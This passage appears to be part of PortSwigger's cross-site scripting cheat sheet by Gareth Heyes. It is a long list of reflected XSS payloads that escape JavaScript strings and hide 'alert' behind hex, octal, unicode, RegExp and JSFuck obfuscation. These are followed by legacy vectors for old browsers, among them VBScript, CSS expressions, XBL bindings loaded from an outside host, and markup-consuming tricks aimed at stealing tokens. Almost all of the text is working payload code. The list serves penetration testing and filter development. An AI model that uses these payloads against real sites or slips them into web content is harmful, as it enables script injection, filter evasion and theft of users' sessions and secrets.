Reflected XSS into a JavaScript string: comment syntax (self)	`';self[/*foo*/'alert'/*bar*/](self[/*foo*/'document'/*bar*/]['domain']);//`
Reflected XSS into a JavaScript string: comment syntax (this)	`';this[/*foo*/'alert'/*bar*/](this[/*foo*/'document'/*bar*/]['domain']);//`
Reflected XSS into a JavaScript string: comment syntax (top)	`';top[/*foo*/'alert'/*bar*/](top[/*foo*/'document'/*bar*/]['domain']);//`
Reflected XSS into a JavaScript string: comment syntax (parent)	`';parent[/*foo*/'alert'/*bar*/](parent[/*foo*/'document'/*bar*/]['domain']);//`
Reflected XSS into a JavaScript string: comment syntax (frames)	`';frames[/*foo*/'alert'/*bar*/](frames[/*foo*/'document'/*bar*/]['domain']);//`
Reflected XSS into a JavaScript string: comment syntax (globalThis)	`';globalThis[/*foo*/'alert'/*bar*/](globalThis[/*foo*/'document'/*bar*/]['domain']);//`
Reflected XSS into a JavaScript string: hex escape sequence (window)	`';window['\x61\x6c\x65\x72\x74'](window['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//`
Reflected XSS into a JavaScript string: hex escape sequence (self)	`';self['\x61\x6c\x65\x72\x74'](self['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//`
Reflected XSS into a JavaScript string: hex escape sequence (this)	`';this['\x61\x6c\x65\x72\x74'](this['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//`
Reflected XSS into a JavaScript string: hex escape sequence (top)	`';top['\x61\x6c\x65\x72\x74'](top['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//`
Reflected XSS into a JavaScript string: hex escape sequence (parent)	`';parent['\x61\x6c\x65\x72\x74'](parent['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//`
Reflected XSS into a JavaScript string: hex escape sequence (frames)	`';frames['\x61\x6c\x65\x72\x74'](frames['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//`
Reflected XSS into a JavaScript string: hex escape sequence (globalThis)	`';globalThis['\x61\x6c\x65\x72\x74'](globalThis['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//`
Reflected XSS into a JavaScript string: hex escape sequence and base64 encoded string (window)	`';window['\x65\x76\x61\x6c']('window["\x61\x6c\x65\x72\x74"](window["\x61\x74\x6f\x62"]("WFNT"))');//`

Reflected XSS into a JavaScript string: hex escape sequence and base64 encoded string (self)	`';self['\x65\x76\x61\x6c']('self["\x61\x6c\x65\x72\x74"](self["\x61\x74\x6f\x62"]("WFNT"))');//`
Reflected XSS into a JavaScript string: hex escape sequence and base64 encoded string (this)	`';this['\x65\x76\x61\x6c']('this["\x61\x6c\x65\x72\x74"](this["\x61\x74\x6f\x62"]("WFNT"))');//`
Reflected XSS into a JavaScript string: hex escape sequence and base64 encoded string (top)	`';top['\x65\x76\x61\x6c']('top["\x61\x6c\x65\x72\x74"](top["\x61\x74\x6f\x62"]("WFNT"))');//`
Reflected XSS into a JavaScript string: hex escape sequence and base64 encoded string (parent)	`';parent['\x65\x76\x61\x6c']('parent["\x61\x6c\x65\x72\x74"](parent["\x61\x74\x6f\x62"]("WFNT"))');//`
Reflected XSS into a JavaScript string: hex escape sequence and base64 encoded string (frames)	`';frames['\x65\x76\x61\x6c']('frames["\x61\x6c\x65\x72\x74"](frames["\x61\x74\x6f\x62"]("WFNT"))');//`
Reflected XSS into a JavaScript string: hex escape sequence and base64 encoded string (globalThis)	`';globalThis['\x65\x76\x61\x6c']('globalThis["\x61\x6c\x65\x72\x74"](globalThis["\x61\x74\x6f\x62"]("WFNT"))');//`
Reflected XSS into a JavaScript string: octal escape sequence (window)	`';window['\141\154\145\162\164']('\130\123\123');//`
Reflected XSS into a JavaScript string: octal escape sequence (self)	`';self['\141\154\145\162\164']('\130\123\123');//`
Reflected XSS into a JavaScript string: octal escape sequence (this)	`';this['\141\154\145\162\164']('\130\123\123');//`
Reflected XSS into a JavaScript string: octal escape sequence (top)	`';top['\141\154\145\162\164']('\130\123\123');//`
Reflected XSS into a JavaScript string: octal escape sequence (parent)	`';parent['\141\154\145\162\164']('\130\123\123');//`
Reflected XSS into a JavaScript string: octal escape sequence (frames)	`';frames['\141\154\145\162\164']('\130\123\123');//`
Reflected XSS into a JavaScript string: octal escape sequence (globalThis)	`';globalThis['\141\154\145\162\164']('\130\123\123');//`
Reflected XSS into a JavaScript string: unicode escape (window)	`';window['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//`
Reflected XSS into a JavaScript string: unicode escape (self)	`';self['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//`
Reflected XSS into a JavaScript string: unicode escape (this)	`';this['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//`
Reflected XSS into a JavaScript string: unicode escape (top)	`';top['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//`
Reflected XSS into a JavaScript string: unicode escape (parent)	`';parent['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//`
Reflected XSS into a JavaScript string: unicode escape (frames)	`';frames['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//`
Reflected XSS into a JavaScript string: unicode escape (globalThis)	`';globalThis['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//`
Reflected XSS into a JavaScript string: RegExp source property (window)	`';window[/al/.source+/ert/.source](/XSS/.source);//`

Reflected XSS into a JavaScript string: RegExp source property (self)	`';self[/al/.source+/ert/.source](/XSS/.source);//`
Reflected XSS into a JavaScript string: RegExp source property (this)	`';this[/al/.source+/ert/.source](/XSS/.source);//`
Reflected XSS into a JavaScript string: RegExp source property (top)	`';top[/al/.source+/ert/.source](/XSS/.source);//`
Reflected XSS into a JavaScript string: RegExp source property (parent)	`';parent[/al/.source+/ert/.source](/XSS/.source);//`
Reflected XSS into a JavaScript string: RegExp source property (frames)	`';frames[/al/.source+/ert/.source](/XSS/.source);//`
Reflected XSS into a JavaScript string: RegExp source property (globalThis)	`';globalThis[/al/.source+/ert/.source](/XSS/.source);//`
Reflected XSS into a JavaScript string: Hieroglyphy/JSFuck (window)	`';window[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//`
Reflected XSS into a JavaScript string: Hieroglyphy/JSFuck (self)	`';self[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//`
Reflected XSS into a JavaScript string: Hieroglyphy/JSFuck (this)	`';this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//`
Reflected XSS into a JavaScript string: Hieroglyphy/JSFuck (top)	`';top[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//`
Reflected XSS into a JavaScript string: Hieroglyphy/JSFuck (parent)	`';parent[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//`
Reflected XSS into a JavaScript string: Hieroglyphy/JSFuck (frames)	`';frames[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//`
Reflected XSS into a JavaScript string: Hieroglyphy/JSFuck (globalThis)	`';globalThis[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//`

Classic vectors (XSS crypt)	
Image src with JavaScript protocol	`<img src="javascript:alert(1)">`
Body background with JavaScript protocol	`<body background="javascript:alert(1)">`
Iframe data urls no longer work as modern browsers use a null origin	`<iframe src="data:text/html,<img src=1 onerror=alert(document.domain)>">`

VBScript protocol used to work in IE	`<a href="vbscript:MsgBox+1">XSS</a>`
	`<a href="#" onclick="vbs:Msgbox+1">XSS</a>`
	`<a href="#" onclick="VBS:Msgbox+1">XSS</a>`
	`<a href="#" onclick="vbscript:Msgbox+1">XSS</a>`
	`<a href="#" onclick="VBSCRIPT:Msgbox+1">XSS</a>`
	`<a href="#" language=vbs onclick="vbscript:Msgbox+1">XSS</a>`

JScript compact was a minimal version of JS that wasn't widely used in IE	`<a href="#" onclick="jscript.compact:alert(1);">test</a>` `<a href="#" onclick="JSCRIPT.COMPACT:alert(1);">test</a>`
JScript.Encode allows encoded JavaScript	`<a href=# language="JScript.Encode"` `onclick="#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">XSS` `<a href=# onclick="JScript.Encode:#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">XSS</a>`
VBScript.Encoded allows encoded VBScript	`<iframe onload=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>` `<iframe language=VBScript.Encode onload=#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>`

JavaScript entities used to work in Netscape Navigator	`<a title="&{alert(1)}">XSS</a>`
JavaScript stylesheets used to be supported by Netscape Navigator	`<link href="xss.js" rel=stylesheet type="text/javascript">`
Button used to consume markup	`<form><button name=x formaction=x><b>stealme`
IE9 select elements and plaintext used to consume markup	`<form action=x><button>XSS</button><select name=x><option><plaintext>` `<script>token="supersecret"</script>`

XBL Firefox only <= 2	`<div style="-moz-binding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)">`
	`<div style="\-\mo\z-`
	`binding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)">`
	`<div style="-moz-bindin\67:url(//businessinfo.co.uk/lab`
	`s/xbl/xbl.xml#xss)">`
	`<div style="-moz-bindin&#x5c;67:url(//businessinfo.co.uk/lab`
	`s/xbl/xbl.xml#xss)">`

XBL also worked in FF3.5 using data urls	`<img src="blah" style="-moz-binding: url(data:text/xml;charset=utf-`
	`8,%3C%3Fxml%20version%3D%221.0%22%3F%3E%3Cbindings%20xmlns%3D%22`
	`http%3A//www.mozilla.org/xbl%22%3E%3Cbinding%20id%3D%22loader%22%3E%3Cimple`
	`mentation%3E%3Cconstructor%3E%3C%21%5BCDATA%5Bvar%20url%20%3D%20%22alert.js`
	`%22%3B%20var%20scr%20%3D%20document.createElement%28%22script%22%29%3B%20sc`
	`r.setAttribute%28%22src%22%2Curl%29%3B%20var%20bodyElement%20%3D%20`
	`document.getElementsByTagName%28%22html%22%29.item%280%29%3B%20bodyElement.`
	`appendChild%28scr%29%3B%20%5D%5D%3E%3C/constructor%3E%3C/implementation%3E%`
	`3C/ binding%3E%3C/bindings%3E)" />`

CSS expressions <=IE7	`<div style=xss:expression(alert(1))>`
	`<div style=xss:expression(1)-alert(1)>`
	`<div style=xss:expressio\6e(alert(1))>`
	`<div style=xss:expressio\006e(alert(1))>`
	`<div style=xss:expressio\00006e(alert(1))>`
	`<div style=xss:expressio\6e(alert(1))>`
	`<div style=xss:expressio&#x5c;6e(alert(1))>`

In quirks mode IE allowed you to use = instead of :	`<div style=xss=expression(alert(1))>` `<div style="color&#x3dred">test</div>`
Behaviors for older modes of IE	`<a style="behavior:url(#default#AnchorClick);"` `folder="javascript:alert(1)">XSS</a>`

Older versions of IE supported event handlers in functions	`<script>`
	`function window.onload(){`
	`alert(1);`
	`}`
	`</script>`
	`<script>`
	`function window::onload(){`
	`alert(1);`
	`}`
	`</script>`
	`<script>`
	`function window.location(){`
	`}`
	`</script>`
	`<body>`
	`<script>`
	`function/*<img src=1 onerror=alert(1)>*/document.body.innerHTML(){}`
	`</script>`
	`</body>`
	`<body>`
	`<script>`
	`function document.body.innerHTML(){ x = "<img src=1 onerror=alert(1)>"; }`
	`</script>`
	`</body>`

GreyMagic HTML+time exploit (no longer works even in 5 docmode)	`<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">`
	`<?import namespace="t" implementation="#default#time2"><t:set`
	`attributeName="innerHTML" to="XSS<img src=1 onerror=alert(1)>"> </BODY>`
	`</HTML>`

Credits

Brought to you by PortSwigger lovingly constructed by Gareth Heyes

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You can contribute to this cheat sheet by updating the JSON and creating a pull request

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